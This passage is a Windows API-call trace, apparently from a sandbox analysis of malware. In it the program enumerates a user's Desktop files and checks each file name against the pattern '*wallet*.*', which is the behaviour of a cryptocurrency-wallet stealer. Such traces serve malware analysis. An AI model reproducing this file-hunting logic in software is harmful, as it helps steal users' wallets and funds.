HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340588 | out: hHeap=0x2360000) returned 1 [0146.676] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.677] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd19e8210, ftCreationTime.dwHighDateTime=0x1d7a37b, ftLastAccessTime.dwLowDateTime=0x487c7e0, ftLastAccessTime.dwHighDateTime=0x1d7b03d, ftLastWriteTime.dwLowDateTime=0x487c7e0, ftLastWriteTime.dwHighDateTime=0x1d7b03d, nFileSizeHigh=0x0, nFileSizeLow=0x1a1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="M8FP6UY.png", cAlternateFileName="")) returned 1 [0146.677] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.677] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.677] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="M8FP6UY.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png" [0146.677] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.677] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.677] lstrcatW (in: lpString1="\\", lpString2="M8FP6UY.png" | out: lpString1="\\M8FP6UY.png") returned="\\M8FP6UY.png" [0146.677] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.677] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x33400d0 [0146.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", lpUsedDefaultChar=0x0) returned 43 [0146.677] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.677] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.677] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.677] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340d40 [0146.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340d40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.677] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406c8 [0146.677] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d40 | out: hHeap=0x2360000) returned 1 [0146.677] PathMatchSpecW (pszFile="M8FP6UY.png", pszSpec="*wallet*.*") returned 0 [0146.678] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406c8 | out: hHeap=0x2360000) returned 1 [0146.678] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.678] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5551b8a0, ftCreationTime.dwHighDateTime=0x1d7aa9f, ftLastAccessTime.dwLowDateTime=0x905c4cf0, ftLastAccessTime.dwHighDateTime=0x1d7aff7, ftLastWriteTime.dwLowDateTime=0x905c4cf0, ftLastWriteTime.dwHighDateTime=0x1d7aff7, nFileSizeHigh=0x0, nFileSizeLow=0x9dde, dwReserved0=0x0, dwReserved1=0x0, cFileName="MApTBDPnV.mkv", cAlternateFileName="MAPTBD~1.MKV")) returned 1 [0146.678] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.678] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.678] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="MApTBDPnV.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv" [0146.678] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.678] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.678] lstrcatW (in: lpString1="\\", lpString2="MApTBDPnV.mkv" | out: lpString1="\\MApTBDPnV.mkv") returned="\\MApTBDPnV.mkv" [0146.678] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.678] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x33400d0 [0146.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", lpUsedDefaultChar=0x0) returned 45 [0146.678] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.678] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.678] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.679] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340ca0 [0146.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340ca0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.679] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340448 [0146.679] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ca0 | out: hHeap=0x2360000) returned 1 [0146.679] PathMatchSpecW (pszFile="MApTBDPnV.mkv", pszSpec="*wallet*.*") returned 0 [0146.679] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340448 | out: hHeap=0x2360000) returned 1 [0146.679] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.679] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67bb7db0, ftCreationTime.dwHighDateTime=0x1d7b04d, ftLastAccessTime.dwLowDateTime=0xcf897290, ftLastAccessTime.dwHighDateTime=0x1d7b051, ftLastWriteTime.dwLowDateTime=0xcf897290, ftLastWriteTime.dwHighDateTime=0x1d7b051, nFileSizeHigh=0x0, nFileSizeLow=0x15c27, dwReserved0=0x0, dwReserved1=0x0, cFileName="op27XFjVBcQnQEISZr.avi", cAlternateFileName="OP27XF~1.AVI")) returned 1 [0146.679] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.679] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.679] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="op27XFjVBcQnQEISZr.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi" [0146.679] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.679] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.679] lstrcatW (in: lpString1="\\", lpString2="op27XFjVBcQnQEISZr.avi" | out: lpString1="\\op27XFjVBcQnQEISZr.avi") returned="\\op27XFjVBcQnQEISZr.avi" [0146.679] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.679] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x32baaa0 [0146.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", cchWideChar=54, lpMultiByteStr=0x32baaa0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", lpUsedDefaultChar=0x0) returned 54 [0146.679] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba4b0 [0146.679] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baaa0 | out: hHeap=0x2360000) returned 1 [0146.679] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.680] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340b80 [0146.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340b80, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.680] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404e8 [0146.680] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340b80 | out: hHeap=0x2360000) returned 1 [0146.680] PathMatchSpecW (pszFile="op27XFjVBcQnQEISZr.avi", pszSpec="*wallet*.*") returned 0 [0146.680] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404e8 | out: hHeap=0x2360000) returned 1 [0146.680] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba4b0 | out: hHeap=0x2360000) returned 1 [0146.680] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8349a1a0, ftCreationTime.dwHighDateTime=0x1d7a969, ftLastAccessTime.dwLowDateTime=0x6dabcf00, ftLastAccessTime.dwHighDateTime=0x1d7aa2f, ftLastWriteTime.dwLowDateTime=0x6dabcf00, ftLastWriteTime.dwHighDateTime=0x1d7aa2f, nFileSizeHigh=0x0, nFileSizeLow=0xe510, dwReserved0=0x0, dwReserved1=0x0, cFileName="rJjrMg.mp4", cAlternateFileName="")) returned 1 [0146.680] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.680] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.680] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="rJjrMg.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4" [0146.680] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.680] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.680] lstrcatW (in: lpString1="\\", lpString2="rJjrMg.mp4" | out: lpString1="\\rJjrMg.mp4") returned="\\rJjrMg.mp4" [0146.680] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0146.680] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2a) returned 0x33400d0 [0146.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", cchWideChar=42, lpMultiByteStr=0x33400d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", lpUsedDefaultChar=0x0) returned 42 [0146.680] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.680] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.680] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.681] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340de0 [0146.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340de0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.681] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340358 [0146.681] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340de0 | out: hHeap=0x2360000) returned 1 [0146.681] PathMatchSpecW (pszFile="rJjrMg.mp4", pszSpec="*wallet*.*") returned 0 [0146.681] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340358 | out: hHeap=0x2360000) returned 1 [0146.681] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.681] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9f81e0, ftCreationTime.dwHighDateTime=0x1d7b01a, ftLastAccessTime.dwLowDateTime=0xe2e256d0, ftLastAccessTime.dwHighDateTime=0x1d7b052, ftLastWriteTime.dwLowDateTime=0xe2e256d0, ftLastWriteTime.dwHighDateTime=0x1d7b052, nFileSizeHigh=0x0, nFileSizeLow=0x10905, dwReserved0=0x0, dwReserved1=0x0, cFileName="rnniEqI3o7y6BUr8.png", cAlternateFileName="RNNIEQ~1.PNG")) returned 1 [0146.681] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.681] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.681] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="rnniEqI3o7y6BUr8.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png" [0146.681] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.681] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.681] lstrcatW (in: lpString1="\\", lpString2="rnniEqI3o7y6BUr8.png" | out: lpString1="\\rnniEqI3o7y6BUr8.png") returned="\\rnniEqI3o7y6BUr8.png" [0146.681] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.681] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32baee0 [0146.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", cchWideChar=52, lpMultiByteStr=0x32baee0, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", lpUsedDefaultChar=0x0) returned 52 [0146.681] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba588 [0146.681] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baee0 | out: hHeap=0x2360000) returned 1 [0146.681] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.681] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e40 [0146.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.682] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403d0 [0146.682] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e40 | out: hHeap=0x2360000) returned 1 [0146.682] PathMatchSpecW (pszFile="rnniEqI3o7y6BUr8.png", pszSpec="*wallet*.*") returned 0 [0146.682] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403d0 | out: hHeap=0x2360000) returned 1 [0146.682] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba588 | out: hHeap=0x2360000) returned 1 [0146.682] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23572ef0, ftCreationTime.dwHighDateTime=0x1d7abdc, ftLastAccessTime.dwLowDateTime=0x6e647650, ftLastAccessTime.dwHighDateTime=0x1d7adc1, ftLastWriteTime.dwLowDateTime=0x6e647650, ftLastWriteTime.dwHighDateTime=0x1d7adc1, nFileSizeHigh=0x0, nFileSizeLow=0x112b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="sAj8v.m4a", cAlternateFileName="")) returned 1 [0146.682] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.682] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.682] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="sAj8v.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a" [0146.682] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.682] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.682] lstrcatW (in: lpString1="\\", lpString2="sAj8v.m4a" | out: lpString1="\\sAj8v.m4a") returned="\\sAj8v.m4a" [0146.682] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.682] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x29) returned 0x33400d0 [0146.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", cchWideChar=41, lpMultiByteStr=0x33400d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", lpUsedDefaultChar=0x0) returned 41 [0146.682] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.682] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.682] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.683] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340b80 [0146.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340b80, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.683] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340560 [0146.683] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340b80 | out: hHeap=0x2360000) returned 1 [0146.683] PathMatchSpecW (pszFile="sAj8v.m4a", pszSpec="*wallet*.*") returned 0 [0146.683] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340560 | out: hHeap=0x2360000) returned 1 [0146.683] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.683] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f825a10, ftCreationTime.dwHighDateTime=0x1d7aff1, ftLastAccessTime.dwLowDateTime=0x1dc2ee0, ftLastAccessTime.dwHighDateTime=0x1d7b048, ftLastWriteTime.dwLowDateTime=0x1dc2ee0, ftLastWriteTime.dwHighDateTime=0x1d7b048, nFileSizeHigh=0x0, nFileSizeLow=0x40dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SfNWHleaQqk8JGe.pptx", cAlternateFileName="SFNWHL~1.PPT")) returned 1 [0146.683] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.683] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.683] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="SfNWHleaQqk8JGe.pptx" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx" [0146.683] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.683] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.683] lstrcatW (in: lpString1="\\", lpString2="SfNWHleaQqk8JGe.pptx" | out: lpString1="\\SfNWHleaQqk8JGe.pptx") returned="\\SfNWHleaQqk8JGe.pptx" [0146.683] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.683] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32bab20 [0146.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", cchWideChar=52, lpMultiByteStr=0x32bab20, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 